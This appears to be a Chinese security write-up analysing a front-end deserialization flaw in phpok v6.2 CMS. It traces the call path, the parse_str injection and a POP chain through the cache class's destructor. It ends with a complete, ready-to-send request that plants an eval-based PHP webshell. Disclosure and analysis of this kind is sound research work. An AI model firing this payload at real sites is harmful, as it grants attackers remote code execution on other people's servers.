漏洞描述
phpok v6.2存在前台反序列化漏洞,可写入webshell
漏洞分析
这套cms的两个参数:c = 控制器 f = 函数
framework\api\call_control.php#index
data参数为json格式,解析之后不允许存在type_id
往下进入framework\phpok_tpl_helper.php#phpok函数
调用framework\phpok_call.php#phpok函数
通过 parse_str 这里产生漏洞,控制了type_id参数
接着根据$id即 m_picplayer 去获取一套模板数组$call_rs,再通过array_merge合并,导致type_id的值可控
修改为 format_ext_all
根据type_id的值加上下划线,构造出的函数名必须在这33个之中,这里还能挖掘其他32个函数的利用
然后调用该函数就是存在反序列化的函数,跟着构造就完事了
POP
pop chain有手就行,全局搜索 __destruct() 发现 framework\engine\cache.php#__destruct() 存在save,而且两个参数都可控
文件名,文件内容都可控,就是加了一个exit,php://filter加编码器直接过
POC
|
payload
http://127.0.0.1/api.php?c=call&f=index&data={"m_picplayer": "0%26type_id%3Dformat_ext_all%26x%5Bform_type%5D%3Durl%26x%5Bcontent%5D%3DO%253A5%253A%2522cache%2522%253A3%253A%257Bs%253A6%253A%2522folder%2522%253Bs%253A107%253A%2522php%253A%252F%252Ffilter%252Fwrite%253Dstring.strip_tags%257Cconvert.base64-decode%252Fresource%253DD%253A%252Fphpstudy_pro%252FWWW%252Fdocker%252Fsmity2%252Fhtml%252F%2522%253Bs%253A6%253A%2522key_id%2522%253Bs%253A5%253A%2522shell%2522%253Bs%253A8%253A%2522key_list%2522%253Bs%253A41%253A%2522aaaaaIDw%252FcGhwIGV2YWwoJF9QT1NUW2NtZF0pOz8%252B%2522%253B%257D"} |